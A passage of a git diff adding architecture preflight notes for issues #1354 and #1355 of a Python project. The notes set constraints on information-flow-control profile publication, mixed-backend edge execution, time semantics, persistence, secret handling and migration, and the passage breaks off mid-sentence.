`raes_conformance/conformance/validators.py`. New identities +also reach `manifest_authority.py`, API-407 capability requirements, explicit +directory routing in `tools/generate_contract_schemas.py`, corpus packaging in +`implementations/python/pyproject.toml`, fixtures and public documentation. +Use `contracts/schema-publication-manifest.json` v2 and its per-schema entries +for hashes/`last_change`, plus tombstones for removal; do not recreate a ledger. + +API-424's selection/evaluation schemas are currently **draft**: ADR-061 permits +recorded in-place schema changes, while stable breaking changes need a new +contract ID. That flexibility does not permit changing `sem-235/rev1` history +or silently extending `participant-control-provider/v1`. The decision must +identify new semantic/protocol meaning, negotiation and exact supported schema +content, with explicit old/new reader behavior. Preserve historical decoding +and receipt/claim meaning; legacy records missing coverage/dependency evidence +cannot be upgraded into new guarantees. Unsupported consumers fail closed; +never infer protocol support from a `resolve` attribute or method signature. + +This is also a storage-read constraint: `RuntimeSnapshot.__post_init__`, +`participant_control_evaluation_history.py`, `causal_state_from_history` and +`dispatch_participant_control_effects` validate retained evaluations; the last +two derive admitted effects using the shared composition functions. Changing +those functions globally can reject an old snapshot or change which old +requests consume budgets or become executable. Historical interpretation and +new live admission must select their declared semantics explicitly. A record +without enough version/content identity requires an explicit legacy migration +disposition, never guessed new applicability or a replayed provider call. + +The extensibility seam is the existing revisioned selection and provider +protocol: parameterize obligation coverage/applicability, typed predecessor +inputs, invocation and state scope, required support/constraints, effect target +and dependency on parent disposition/outcome. Another sink or independently +installed provider for the same semantics should use those bindings without +editing the profile algebra or adding backend-name branches. A new domain, +effect meaning or release rule still requires a governed closed revision; +neither an open predicate language nor a universal target enum is warranted. + +Repository gates remain `.ground-control.yaml`, `.gc/plan-rules.md`, +`tools/policy/requirement_order.yaml`, `tools/policy/adr_policy.yaml`, +`noxfile.py`, `tools/nox_support/`, `.pre-commit-config.yaml` and CI. SEM-235, +API-424 and RUN-320 have separate path ownership; #1352 needs an explicit +requirement-scope disposition for its cross-owner publication, not expanded +semantic ownership of runtime code. Set `RAES_REQUIREMENT_UID` on this +UID-free branch. Reuse generated-schema/publication, authority-boundary, +concept-authority and SDL-lineage checks when their governed artifacts change. +Keep traceability honest; no new runner, release/version edits or hand-written +changelog. Local verification uses targeted cases or `verify-fast-feedback`; +full policy/test/integration/fuzz/completion suites remain CI-owned. + +## Evidence boundaries and non-goals + +Reuse `sem235_modular_control_model.py`, `test_sem_235_modular_control.py`, +`test_api_424_composition_derivation.py`, `test_api_424_composition_boundaries.py`, +`test_api_424_control_resolution.py`, and the API-424 publication/governance +tests under `implementations/python/tests/`. The decisive cases are mixed +ingress/egress applicability under one unchanged apparatus; proven +inapplicability versus unknown coverage; omitted mandatory obligations; +A → B → A provider dependencies; optional failure versus mandatory input +closure; satisfied/insufficient bounded support; false triggers; parent denial +and withholding in every phase; independent audit of a denial; phase cycles; +shared-state conflicts; stale cuts; and old-history replay without new claims. +Use existing RUN-320 fixtures for downstream memory/local-store, re-entry, +atomicity and zero-dispatch evidence when runtime delivery is in scope. +Bounded witnesses establish neither production realization nor noninterference. + +Non-goals: implementing the requirement during preflight; inventing a provider +engine, plugin host, policy interpreter, workflow scheduler, HTTP endpoint, +credential/configuration system, universal control hierarchy or persistence +authority; changing SEM-233; backend instrumentation, parity or availability +claims; executing effects merely because a schema accepts them. Admission, +authority and realization remain separate decisions throughout. diff --git a/docs/decisions/issue-1354-ifc-profile-variability-preflight.md b/docs/decisions/issue-1354-ifc-profile-variability-preflight.md new file mode 100644 index 000000000..dc9a69a3c --- /dev/null +++ b/docs/decisions/issue-1354-ifc-profile-variability-preflight.md @@ -0,0 +1,261 @@ +# Issue #1354 — IFC profile variability and publication preflight + +Date: 2026-09-23. Inspection baseline: `ddba5049`. +Scope: architecture guidance for the issue contract; not an accepted semantic +decision, implementation plan, new profile or fulfillment claim. The supplied +issue assigns SEM-233 and SEM-235; the supplied SEM-235 payload is sufficient +requirement context. + +## Observed boundary + +The issue's diagnosis was read from this repository's Git object +`077f7d04:docs/research/runtime-refactor/diagnosis.md`, section 5; it is absent +from the working tree. Its narrow finding agrees with current sources: +the general algebra is more expressive than the published security vocabulary. +It does **not** establish that independently resolved policy/provenance cannot +enforce any owner distinctions outside the label vocabulary. + +Paths beginning with package names below are relative to +`implementations/python/packages/`. + +| Incumbent | Actual limit that the decision must account for | +| --- | --- | +| [SEM-233](../../specs/formal/participant-semantics/adversarial-flow-control.md), exact revision-1 algebra | `P(C) × P(I)`, independent obligations and union propagation already permit finite owner-relative clauses. Finiteness is not the expressiveness defect; collapsing independently releasable obligations is. | +| [Published security artifact](../../contracts/profiles/participant-boundary-flow-policy/participant-boundary-flow-policy-v1.json) | Confidentiality has exactly `restricted`, `unknown`; integrity has exactly `endorsed`, `unknown`, `untrusted` (each with its coordinate prefix). There are no independent owner tokens. `unknown` is unresolved, not a spare owner slot; `endorsed` is not an owner identity or a global trust rank. | +| `raes_contracts/contracts/participant_flow_control_semantics.py` and `raes_contracts/participant_flow_policy_profiles.py` | Profile ID, revision and authority are fixed; the model checks the exact published digest and the loader resolves an allowlisted ID/revision/digest tuple. The schema's 128-token array limits do not authorize new tokens. There is no latest-version fallback. | +| `raes_contracts/contracts/participant_control_profiles.py`, `participant_control_results.py`, `participant_control_composition.py` | Modular validation recognizes only the security and teaching revision-1 profiles. IFC facts are a closed union of the SEM-233 relation reference and teaching tokens; domain-to-profile dispatch is specialized. A generic artifact reference does not grant new domain support. | +| API-407/API-424 `raes_backend_protocols/participant_feature_admission.py` and `participant_control_admission.py`; `ControlEffectiveSupportModel` and `_support_blockers` in `raes_contracts/contracts/participant_control_results.py` and `participant_control_composition.py` | Strength/evidence negotiation already exists. Current v1 composition nevertheless blocks every non-exact effective support record. [CA-04](../../specs/formal/participant-semantics/control-applicability-and-evaluation.md#ca-04--support-is-relative-to-the-requirement) defines requirement-relative bounded satisfaction, but publication of that amendment did not implement it. | + +Profile support therefore spans the loader, literal identity/revision fields, +relation/context validators, modular selection and fact dispatch, capability +admission, runtime binding and history readers. A new artifact or relaxed digest +check alone cannot extend this chain. API-407's existing strength rank is a +declaration check, not proof of CA-04 coverage or comparable loss constraints. +Name any needed API-424/RUN-320 adoption separately from this issue's semantic +publication; do not repair their reducers incidentally under SEM-235. + +A read-only probe at this baseline confirmed that the original security +artifact passes model validation, adding `confidentiality:owner-a` passes its +JSON Schema but fails the profile model, and an unknown modular profile is +rejected. Shape validity is not publication or semantic admission. The finite +SEM-233 test model uses richer synthetic universes under revision-1 names; +those witnesses are algebra evidence, not additional published profiles. + +`ParticipantFlowReleaseAuthorityCoordinate` currently identifies release kind, +authority/revision and sink/destination/audience, without an owner-token scope. +A multi-owner support claim must establish where trusted resolution proves +authority over each discharged obligation. Adding tokens alone cannot establish +that authorization relation. + +There is also a semantic/wire distinction to resolve explicitly: SEM-233's +algebra describes endorsement as removing named integrity obligations, while +`ParticipantFlowEndorsementModel` requires nonempty source-to-result token +replacements and `validate_release` checks that exact delta. The accepted +decision must explain how its endorsement cases map to that carrier, or name +the separate contract change needed. Do not reinterpret historical +`integrity:endorsed` as proof of every owner's endorsement. + +## Decision constraints and separating cases + +Keep three owners explicit in the eventual decision: + +| Boundary | Information it must retain | +| --- | --- | +| Authored intent | Whose independent obligations apply, protected sources, permitted readers/destinations/sinks, relevant possible writers and endorsement requirements, release authority, memory scope, required coverage/guarantee and admissible loss. Selecting a profile may supply these through an exact governed reference; authors need not write a policy language. An author assertion alone grants no release authority. | +| Published semantic profile | Meaning of its carrier/tokens or any explicitly justified parameters; canonical encoding, order/join, source/default and sink relations, release/non-influence rules, memory scope, unknown behavior and exact support limits. Keep semantic identity distinct from schema version, selected policy, provider identity and configuration. | +| Backend/operator configuration | Installed mechanism, concrete source/principal/sink bindings, instrumentation and covered flow classes, resources, implementation/configuration pins and realization evidence. Configuration realizes published meaning; it cannot silently supply a different owner algebra or weaken authored obligations. | + +The decision must resolve the following cases, with expected refusal/release +and retained provenance. These are semantic examples, not proposed syntax: + +- **Independent confidentiality owners:** A permits readers Alice and Bob; + B permits Bob and Carol. A derived value influenced by both retains both + clauses; its audience must satisfy both, so only Bob is common. A's release + may relax A's clause, never B's. Equal current reader sets do not make two + owners equivalent: their release authorities can still differ. Union of + obligations must not become union of allowed readers. +- **Independent integrity obligations:** a proposal influenced by A's + approved publisher and B's unreviewed feed retains both possible influences. + An action sink requiring each origin's review cannot be satisfied by A's + endorsement of A's contribution alone. An intentionally permissive + observation sink may admit B's known untrusted contribution without + endorsement; a later action keeps that influence and checks its own policy. + Endorsement never changes confidentiality or erases writer provenance. +- **Opaque combination and selective release:** summary, parse, redaction, + trusted edit, shared state, handoff and retained memory carry every possible + input obligation. Excluding an input needs the published non-influence + relation and evidence. Release binds exactly the discharged obligations, + coordinate, source/result, authority, sink/destination, revision and cut; + naming an authority is not proof that it controls all owners' clauses. +- **Expressible but unrealizable:** distinguish a profile that cannot encode + the required owner/release distinction from a profile that can, but whose + installed backend misses a required source, native/control flow or final + sink. Both prevent a claim of support; neither becomes an ordinary policy + denial or a successful downgraded execution merely by changing its label. + +For each case, establish whether the existing profile plus independently +trusted contextual policy preserves the distinction, a new governed finite +profile is needed, or the requirement remains unsupported. If an encoding +coarsens labels, demonstrate preservation through derivation, independent +release and every required sink; retaining owner names only in audit text is +insufficient. Conservative over-restriction can be an explicitly admitted +limit, but is not exact expressiveness or permission to ignore functional +requirements. Lost owner information cannot be reconstructed from `restricted`. + +The natural extension seam is the **exact published profile binding and its +trusted source/sink/authority resolver**, consumed by the existing API-424 +selection and backend protocol. A new governed finite publication remains a +valid outcome. If the next independent owner would require duplicating an +otherwise identical profile, evaluate a bounded, typed parameter binding at +that seam; require demonstrated need, admitted principal scope, canonical +identity, complete validation and explicit consumer support before adopting +it. Do not preselect a new parameter syntax or replace publication with dynamic +discovery. Unknown IDs, tokens, revisions and comparisons remain unsupported. +Any owner parameter must resolve to an admitted principal identity, never an +unchecked display name, HTTP role or token prefix. Its finite scope and bindings +are semantic inputs: changing them requires a new admitted binding and cut, +not an unrecorded backend configuration edit. + +Preserve MPC-04's general domain contract: a closed carrier with canonical +encoding, partial order and a total, associative, commutative, idempotent, +monotone conservative join. SEM-233's powerset union is its security +specialization; do not require every domain to use sets or a least upper bound. +Failure status remains outside the carrier; unresolved source coverage is +never an empty known input or permission to produce bottom. + +Reuse CA-01–04's obligation coverage and support relation. Keep required, +declared, installed, effective and observed guarantees separate. An admitted +bounded requirement can accept evidenced support within those exact bounds; +a weaker result than the admitted guarantee is an execution failure/weakening +that blocks the affected mandatory release. A downgrade authorization does +not prove satisfaction. A changed requirement/profile needs a separately +authorized binding at a new cut and disclosed claim limits, preserving every +other owner's obligation. Optional advice is not a mandatory IFC guarantee. +There is no universal loss scale that makes two unrelated limitations comparable. + +The same profile decision must preserve the rest of CA-01–CA-09: + +- Keep the admitted apparatus distinct from profile obligations and the + exact-cut invocation subset. Required coverage is derived independently of + provider responses; omission, failure and `None` never prove inapplicability. + Shared results retain every selecting owner's conjunction. +- Use the finite typed slot/stage DAG and immutable predecessor results, not + one call per provider or ambient shared results. Close mandatory work over + required inputs without giving negative advisory content veto authority. + Optional rejection discards its state/effects at that invocation boundary; + it cannot hide failed mandatory coverage. A false trigger needs evidence. +- Scope provider state by the admitted instance, configuration, authority and + sharing domain. A profile id alone is not a cache/state key. Coverage, + decisions, accepted state, effect intents and consumed budgets share one + atomic commit; unsupported shared-scope atomicity prevents admission. +- Parent deny/withhold has the same meaning in every phase. Prerequisites, + success-dependent effects and independent consequences have separate + targets, authorities and outcomes; their combined event graph must be acyclic. + An independent audit may follow denial without releasing the parent. + Transforms/injects retain fresh identity, visibility, provenance, ordinary + downstream admission and finite causal budgets across retries and resets. + +## Cross-cutting gates and canonical owners + +This preflight creates no executable surface. The publication decision must +identify applicability of each layer below; later consumers cannot claim +support by modifying only a profile file or one validator. + +| Layer / incumbent | Required treatment | +| --- | --- | +| Ingress and shape: `raes_contracts/json_ingress.py::parse_bounded_json_object`, `ContractModel`, flow-profile loader, `parse_participant_control_evaluation`; HTTP `RequestSizeLimitMiddleware` | Reuse bounded reads, duplicate-member/non-finite rejection, closed models and `raes_contracts/canonical.py` digests. Bound any new owner/token/graph cardinality and decoding depth explicitly; the profile loader currently bounds bytes, while the evaluation parser also passes depth 32. Resolve packaged artifacts through `raes_contracts/corpus.py::corpus_family_root`, retaining exact-ID/path allowlists; no participant-selected file/URL, second JSON parser or open label/config map. | +| Semantic and contextual validation: `participant_flow_control_validation.py`, `participant_flow_control_profile_validation.py`, `participant_control_resolution.py` in `raes_contracts/contracts` | Resolve the exact published artifact, trusted source labels, policy cuts, per-obligation release authority, safe refs and sinks independently of provider/caller claims. Retain structural, algebra and contextual checks as distinct layers. Reuse API-409/API-423 occurrence validation and ordinary action admission. Schema-only acceptance cannot replace any of them. | +| Authentication and policy: `raes_runtime/control_plane_api/_auth.py`, `control_plane_security.py`, participant crossing policy/state-cut validators | Preserve verified principal/role/target and audience binding. HTTP/operator authority, declared-world owner identity, controller authority, declassification and endorsement are different relations. Profiles grant no credentials or runtime rights. Recheck all applicable gates at the exact cut; profile selection cannot suppress another owner's constraint. | +| Capability/configuration: API-407/API-424 resolvers above; `raes_contracts/contracts/experiment_bindings.py`, participant manifests, `raes_contracts/participant_configuration.py::realize_participant_configuration` | Reuse governed feature terms, required contract sets, installed bindings, evidence and limitations. Use existing target registries, aliases, value types, defaults and complete same-type normalization where configuration is required. A configuration digest or generic modular-control feature does not prove exact domain/owner/sink coverage. No second strength ranking or per-profile admission workflow. | +| Secrets and environment: `raes_contracts/secret_references.py`, experiment binding models, `raes/runtime_environment.py`, `runtime_values.py`, `raes_runtime/runtime_fact_dispatch.py` | Carry only authorized logical secret references at their owning boundary; secret configuration targets permit neither raw literals nor portable defaults. Environment bindings retain literal/`value_from` exclusivity, generated-artifact ownership and observed-value redaction; an in-band generated value cannot claim `operator_secret`. Keep resolved credentials/private state out of profiles, examples, portable evidence and digests. Hashing a low-entropy secret is not redaction. IFC tokens are not runtime sensitivity classifications. | +| Runtime and host: `ParticipantControlProvider` in `raes_backend_protocols/protocols.py`; `raes_runtime/participant_control_binding.py`, `participant_control_orchestration.py`, `participant_flow_sink.py`, `RuntimeTarget` and backend call contracts | Providers remain operator-constructed and effect-free during resolution. Reuse exact admitted-selection/cut checks, re-entry fences and final checks before external calls, serialization, stream chunks, writes, callbacks and errors. No scenario imports, URLs, commands or executable policy. Any later backend binding must protect credentials from argv, environment dumps, filenames and stdout/stderr. Host/process/tenant isolation is backend responsibility outside the declared world; finite graph bounds and re-entry protection are not timeouts or a sandbox. | +| Errors and observability: `StrictJsonIngressError`, bounded resolver `ValueError`, `Diagnostic`/`DiagnosticModel`, `AuditEvent`, `participant_control_diagnostics.py`, conformance `sanitized_failure_message`, HTTP `_operation_routes.py` | Preserve coarse value-safe refusal reasons and safe evidence refs through existing envelopes/loggers, including redacted 422/500 paths. Never return raw Pydantic inputs or provider exceptions. Even owner names, refusal existence and provenance refs may disclose information; project them through SEM-230 audience rules and disclose timing/undeclared-channel limits. Logs are not experimental evidence, and a denied disclosure must not retain a successful durable outcome. | +| Persistence and replay: ADR-104 `ControlPlaneStore`/`AtomicControlPlaneStore`, `commit_participant_transition`, runtime snapshots and `participant_control_evaluation_history.py` | Retain one expected-head/revision commit authority for evaluation, state and intents before dispatch. Preserve source labels, bindings, releases, effect identities, receipts and consumed budgets. No profile-specific repository, side journal or mutable cache as authority. Uncertain external effects stay indeterminate; commit does not prove application or exactly-once execution. | + +Do not conflate this profile family with GOV-920 interoperability profiles in +`specs/concept-authority/semantic-profiles.md`, private `DomainProfileBindingModel` +selections, validation profiles, or plan-realization profiles. Those incumbents +offer publication/binding patterns, not authorization to admit arbitrary IFC +domains through their extension points. Package ownership stays contracts/data +in `raes_contracts`, protocol in `raes_backend_protocols`, orchestration in +`raes_runtime`, and concrete instrumentation in each backend. + +## Publication, migration and evidence obligations + +When #1354's decision is accepted, publish it in the existing authorities. +Amend SEM-233 and SEM-235 where it changes or clarifies their obligations; +retain their separate authority and historical scope. ADR-101 remains the +security decision; ADR-108 remains the modular publication/declared-world +boundary. Reconcile CA-04 rather than publishing a competing support relation. +Under ADR-059, changes to accepted ADRs require an in-band amendment plus +matching `docs/decisions/adrs/adr-index.yaml` entry/pin, or explicit supersession. +This preflight does not amend those accepted artifacts. + +The accepted publication must enumerate expressible cases, unsupported cases, +supported source/flow/sink/release coverage, finite bounds and evidence limits. +Separate semantic publication, portable reader support, installed mechanism, +effective realization and assurance; no ACTIVE status or conformance promotion +from prose or a finite model alone. + +Preserve old profile bytes/digests and historical interpretations. New readers +must select exact supported interpretations; old readers reject unfamiliar +ones. Conversion records source/target pins, authority, mapping, loss and +unrecoverable distinctions. Never retag old `restricted` values as owner-aware, +rerun historical releases under new rules, or replay old effects as new work. +Explicitly cover pending work, retained memory, provider state, snapshots, +mixed-revision histories and cross-profile comparison; absent a published +authorized mapping, comparison or conversion remains unsupported. Reuse the +[applicability migration boundary](../migration/control-applicability-and-evaluation.md) +for new-cut admission, reconciliation and preservation of effect keys/budgets. + +If contracts are actually required by the accepted decision, reuse ADR-009/061: +hand-governed schemas, `contracts/schema-publication-manifest.json` and its +per-contract entries/`last_change`, fixtures, exports, `schema_bundle()` parity +and the `implementations/python/pyproject.toml` packaged-corpus configuration. +Draft schema stability does not authorize silent reinterpretation. Use +`contracts/concept-authority/`, existing governed +vocabularies and `contracts/provenance/sdl-lineage-ledger-v2.json` for actual +concept/lineage changes, without speculative catalogs or a second registry. + +Evidence should build on `sem233_boundary_flow_model.py`, +`test_sem_233_adversarial_boundary_flow.py`, `test_sem_233_flow_control_contracts.py`, +the SEM-235/CA finite witnesses, `test_api_424_capability_admission.py`, and the +existing #1003/#1004 sink/capability tests. Distinguish algebra witnesses from +real parser/context/admission checks and from backend realization. Required +counterexamples include selective owner release, independent endorsement, +schema-valid unsupported profiles, bounds exceeded, missing context, stale +cuts, memory/replay laundering and unexpected weakening. Denied live paths +need zero prohibited calls/disclosures and consistent durable outcomes before +they support runtime claims. + +Workflow incumbents are `.ground-control.yaml`, `.gc/plan-rules.md`, +`tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, +`tools/requirement_context.py`, `tools/policy/requirement_scope.py`, +`tools/policy/requirement_order.yaml`, `noxfile.py`, `.pre-commit-config.yaml` +and `.github/workflows/ci.yml`. Reuse `tools/check_adr_immutability.py`, +`tools/check_schema_publication.py`, `tools/check_generated_schemas.py`, +`tools/check_concept_authority_governance.py` and `tools/check_sdl_lineage.py` +when their artifacts change; do not create a profile-specific workflow. +Set `RAES_REQUIREMENT_UID=SEM-235` for this supplied requirement context. +Publication spanning SEM-233/235 must use the existing exact-path issue-scope +mechanism and phase ownership rules, not infer ownership from a title or bypass +the gate. + +Preflight verification: the file-local repo-policy check passes; 12 selected +existing contract/admission tests pass, including trusted-context rejection, +release deltas, sanitized resolver errors and non-exact support refusal. The +read-only schema/profile probes above confirm the vocabulary boundary. These +checks establish current behavior, not #1354 fulfillment. The explicit +SEM-235 requirement-governance check fails with +`requirement-ownership-mismatch`: this note is outside the mapped +`modular-control-semantics` ownership roots. That is a publication blocker to resolve +through the existing ownership/scope workflow; this guidance-only preflight +does not change policy allowlists or claim that gate passed. Local checks +remain file-targeted; full suites belong to CI. + +Non-goals: implementing #1354 here; choosing its final variability repertoire; +a general policy language, plugin host, new engine, duplicate schema/validator, +exception hierarchy, logger, state store or workflow; retroactive guarantee +upgrades; and claims of universal noninterference, covert-channel protection, +model trust or backend equivalence. New syntax requires a concrete unmet case +that existing governed publication and bindings cannot adequately express. diff --git a/docs/decisions/issue-1355-executable-mixed-mapping-time-preflight.md b/docs/decisions/issue-1355-executable-mixed-mapping-time-preflight.md new file mode 100644 index 000000000..1532942fe --- /dev/null +++ b/docs/decisions/issue-1355-executable-mixed-mapping-time-preflight.md @@ -0,0 +1,320 @@ +# Issue #1355 — Executable mixed mapping and time preflight + +Date: 2026-09-24. Inspection baseline: `b00aba06389a`. +Scope: architecture guidance for the issue #1355 decision, not an accepted +normative amendment or an implementation plan. +This note does not activate a backend, publish a new contract, or establish a +mixed-execution conformance claim. The issue's title, body and acceptance +criteria remain the delivery contract. The supplied diagnosis is corroborated +by `raes_runtime/mixed_runtime_dispatch.py`: an edge's mapping and loss are +recorded but not executed, and one backend `success` value produces delivery and observation +facts. The existing reference explanation describes this behavior; it is not +evidence that those later stages occurred. +`MixedCompositionEdgeModel` carries routing and time references but no +executable subject translation, bridge invocation or result/readback binding. +`mixed_runtime_phase.py` also derives a `handoff` event from a permitted phase +evaluator; that fact alone cannot prove native responsibility transfer. + +## Decision boundary + +Keep the admitted `sem-234/rev1` profile as sealed intent and the one +`RuntimeControlPlane` as state authority. Resolve each active directed edge to +an executable, version/digest-matched mapping and bridge responsibility at the +existing trusted `MixedRuntimeBinding` / selected `RuntimeTarget` boundary. +The binding must identify the source semantic action or observation subject, +destination subject, owning operation and component, transformation, invocation +and readback contract, time-domain/order service, declared loss, failure +disposition and evidence obligations. An edge reference, callable method, +timestamp, manifest claim or backend name alone cannot establish any of these. +Use the existing compiled identities and admitted allocation/edge/time-model +refs; do not add apparatus choice or backend commands to portable SDL. + +Execute the binding under the existing RUN-310 action/control, +RUN-319/API-423 crossing and final-sink gates. A direction or handoff does not +itself invoke an effect. Exact subject mapping must preserve participant, +episode, controlled scope, action-family and audience identity, and refuse +unmapped, ambiguous, conflicting or out-of-scope subjects before invocation. +Native addresses may change; their join to those semantic identities must not. +Validate both source and translated destination shapes and the final sink's +exact subject/policy cut. Bind units, cardinality, value ranges and lossy or +non-invertible transformations explicitly; never assume a reverse edge or +round-trip equivalence. A declared loss is acceptable only under admitted +requirements and authorized weakening, not because it was logged afterward. +The component that owns a native object or the destination of a directed edge +does not thereby become acting controller, release authority or owner of the +RAES operation. A bridge may narrow an authorized projection; it cannot +broaden it, transform an unauthorized value into an authorized one, or supply +an absent policy decision. Each actual edge crossing needs its own invocation +and result correlation; an edge in the profile does not imply a bridge call. + +Time execution must use the incumbent `TimeModelDeclarationModel`, +`TimeRuntimeStateModel`, `TimeCoordinateModel`, progression/transition checks +and component `TimeRuntime` readback. Bind source and destination clock/domain, +segment, mapping direction, required comparison, ordering basis and selected +progression or synchronization service to the operation cut. Obtain grants or +barrier/serialization evidence where that admitted service is required; read +back the resulting state before asserting the comparison or delivery order. +An affine or identity declaration is a coordinate relation, not a scheduling +service. Partial order permits only demonstrated comparisons; incomparable +events remain incomparable. A timestamp-only source can support only its +declared weak claim. Operational monotonic supervision budgets remain separate +from authored scenario time. Physical or operational components may refuse +pause, reset, rollback, lookahead or tight coupling; the profile must admit +that limitation or the operation must be refused. No common clock, hard real +time, or physical-OT timing guarantee follows from shared time semantics. +Clock conversion must retain exact rational and segment/microstep semantics; +never round a fractional coordinate into an asserted exact tick. Cyclic coupling +needs an admitted progress basis and bounded stall disposition; topology alone +proves neither deadlock freedom nor safe rollback. Control-loop posture, world +assumption and membership remain independent axes. + +## Outcome and handoff invariants + +| Boundary | Owning evidence and permissible claim | +| --- | --- | +| Request accepted | `OperationReceipt`/`ControlPlaneOperationRecord` and immutable admission context prove acceptance only. Recheck effective capability and contextual willingness before dispatch. | +| Decision and attempt committed | RUN-310/API-423 decision plus composition history and complete history-head/snapshot CAS prove authority for one attempt, not execution. A failed commit invokes nothing. | +| Backend execution | Correlated provider result and validated typed readback prove only the established effects. A contract-satisfying no-op need not change state. A boolean, exception-free return or echoed request is insufficient. | +| Directed delivery | API-423 delivery attempt and a destination receipt or equivalent admitted sink evidence prove delivery to that boundary. Mapping/bridge success alone does not. | +| Participant observation | API-423 observation is emitted only after its own participant/audience projection and observation evidence. Delivery, status-view construction, audit retention and experiment collection do not imply observation. | + +Use the shared operation lifecycle (`ACCEPTED`, `RUNNING`, `SUCCEEDED`, +`FAILED`, `CANCELLED`, `INDETERMINATE`) and its supervision semantics for +settlement. Preserve known partial effects as correlated evidence and select +the terminal state from requirement satisfaction and cessation evidence; do +not add a `PARTIAL` state. At bounded settlement, unknown required effect, +delivery or observation is `INDETERMINATE`; a known, quiescent partial failure +retains its validated residual effects. A committed terminal parent is immutable: +later evidence belongs to an authorized linked resolution. Timeout cannot prove +zero effects or success. Pre-claim refusal remains audit-only; contextual refusal +after acceptance and before dispatch follows the shared cancellation rule. +Do not re-invoke an effect through idempotent replay, restart or phase +progression. Retain conflicting-effect +exclusion while cessation is unknown. Commit terminal operation, snapshot, +owning histories and safe audit through the incumbent store transaction; an +uncertain store acknowledgement poisons readiness until authoritative readback. +Correlation must distinguish operation, invocation/stage, directed edge, +component, phase revision and the original authority/time cut. Recover every +invoked stage from its persisted responsibility; the current single-component +`mixed_recovery_target()` alone cannot reconcile a multi-stage bridge operation. +Local atomic publication does not make effects across components atomic or +exactly once. Repeated, reordered or late receipts cannot create a second +effect or rewrite terminal history. + +Use [the shared supervision semantics](../../specs/formal/runtime-control-plane/supervision.md) +for all external calls, including capability checks, bridge invocation, time +grants/barriers, handoff evaluators and readback. They require finite budgets, +retained conflicting-effect exclusion and a serviceable supervision path. +At this baseline, `RuntimeMutationAuthority.external_call()` prevents re-entry +but retains the logical mutation permit; it supplies neither interruption nor +the supervision guarantee. The #1348 tests are design-model witnesses. Treat +the shared supervision implementation as a dependency for any such positive +claim; do not hide a second timeout/worker engine in mixed dispatch. A finite +phase count or evaluator attempt bound does not bound callback duration. + +For staged phases, quiesce outstanding attempts and deliveries under their +original provider before committing the next phase. Native responsibility +handoff has requested/offered/pending/committed/failed/expired/cancelled/stale +dispositions under MCB-013–017; only an evidenced, revision-fenced commit +changes responsibility. RUN-310 controller handoff is a separate API-409 +occurrence and never follows from native ownership transfer. A stale +controller, authority, capability, policy, state/history head or governed +order refuses a new effect. Failed or unknown handoff leaves the last committed +responsibility fact unchanged and blocks dependent work. Unknown native transfer +does not prove the former provider can safely continue: quarantine that scope +until both responsibility and cessation are reconciled. Quiescence includes +lifecycle work, pending deliveries, time services and callbacks, not just the +action/crossing records currently scanned by `_mixed_runtime_is_quiescent()`. +Inter-trial changes retain distinct plan-entry/run identities and source lineage. + +## Canonical owners and compatibility + +Package-qualified paths below are relative to `implementations/python/packages/`. + +| Concern | Existing owner to extend or reuse | +| --- | --- | +| Authored meaning and admission | `specs/formal/participant-semantics/cross-backend-participant-control.md` MCB-001–045, ADR-102, `MixedParticipantCompositionProfileModel`, bounded `parse_mixed_composition_profile()`, `validate_mixed_composition_context()`, `AdmittedTrialPlanModel`, `revalidate_admitted_trial_plan()` and trial compiler apparatus/capability admission. An evidence ref must resolve to evidence that supports its specific obligation; presence of the ref alone is insufficient. | +| Effective support | API-407 `BackendManifestV2Model` / `ParticipantFeatureSupportModel`, `manifest_authority.py`, `raes_backend_protocols/participant_feature_admission.py`, `capability_admission.py::time_model_capability_gaps`, `participant_control_admission.py`, registry component/method checks and selected realization envelopes. Separate declaration, installed implementation, per-context willingness, conformance evidence and authorized downgrade; no union of component manifests. | +| Runtime and persistence | `MixedRuntimeBinding`, `mixed_runtime_dispatch.py`, `RuntimeTarget`, `backend_calls.py`, `backend_snapshot_contracts.py`, `RuntimeMutationAuthority`, `ControlPlaneOperationRecord`, `ControlPlaneStoreCommitAdapter`, lease/CAS/recovery and `MixedCompositionRuntimeEventModel`. Composition history cites owning facts; it is not another operation, crossing or control ledger. | +| Policy and results | `participant_control_mediation.py`, `participant_crossing_{mediation,commit,egress}.py`, `participant_flow_sink.py`, `ParticipantActionAdmissionRequest`, API-423 contextual validation and API-408 projections. Use their final sinks and distinction between attempt, delivery and observation. | +| Time and evidence | `raes_contracts/contracts/time_model.py`, `raes_runtime/time_control.py`, `time_coordinator.py`, `ParticipantRuntimeOrderingBasis`, `TimeRuntime` and runtime readback; `raes_conformance/time_semantics.py` and the existing conformance probe/report framework, scoped observation demand, apparatus evidence and ASR-537 claim separation. Preserve declared loss and uncertainty through result and history. | +| Publication and verification | `ContractModel(extra="forbid")`, `schema_bundle()`, `contracts/schemas/`, schema publication manifest/entries/fixtures, ADR-061 compatibility, `.ground-control.yaml`, `.gc/plan-rules.md`, canonical nox/policy checks and targeted #1014–#1016, time, crossing and #1348 tests. | + +The accepted issue decision should amend SEM-234's executable edge/handoff +meaning, API-407's effective mapping/time/bridge support obligations, and +ADR-102's reference-only boundary as needed, without silently changing the +meaning of an existing published `sem-234/rev1` profile or manifest. If an old +carrier cannot express a required executable binding or correlated stage +outcome, publish a versioned, closed contract and explicit reader/compatibility +rule. Historical reference-only records remain reference-only; do not +reinterpret their `success`, mapping refs or timestamps as delivery, +observation or governed timing proof. Keep supported old single-target/pure +paths working, while refusing a mixed arrangement whose new obligations have +no effective implementation. Executable examples must drive the actual +control-plane/target boundary, with positive and negative cases for pure, +simultaneous mixed, linked inter-trial and pre-admitted staged arrangements; +assert the call count, distinct stage facts, readback, loss and final state. + +Use `specs/formal/runtime-contracts/participant-backend-contracts.md` for +API-407 changes. Keep its governed feature terms, scope/required-contract maps, +model/dataclass adapters and JSON Schema parity aligned; unknown extension +terms must not gain vacuous exact support from an empty required-contract set. +Support strength alone cannot compare incompatible constraints. Resolve evidence +and downgrade authority in trusted context; the existing feature resolver checks +reference presence and strength, not the truth of executable obligations. +Per-edge bindings belong outside the open capability `constraints` map. Reuse +API-424 mechanism/effect bindings where applicable without confusing mechanism +identity with SEM-234 apparatus identity. + +### API-407 declaration boundary + +Apply the incumbent [API-407 declaration/admission guardrails](issue-1072-api-407-feature-support-preflight.md) +to #1355. `capabilities.participant_runtime.feature_support` remains the sole +participant strength declaration, using the existing four-level scale +(`unsupported < disclosed_weak < bounded < exact`). Partial or constrained support is expressed through that level and +its constraint, limitation, disclosure and evidence references, not a new +`partial` enum or mixed-backend support block. Those four 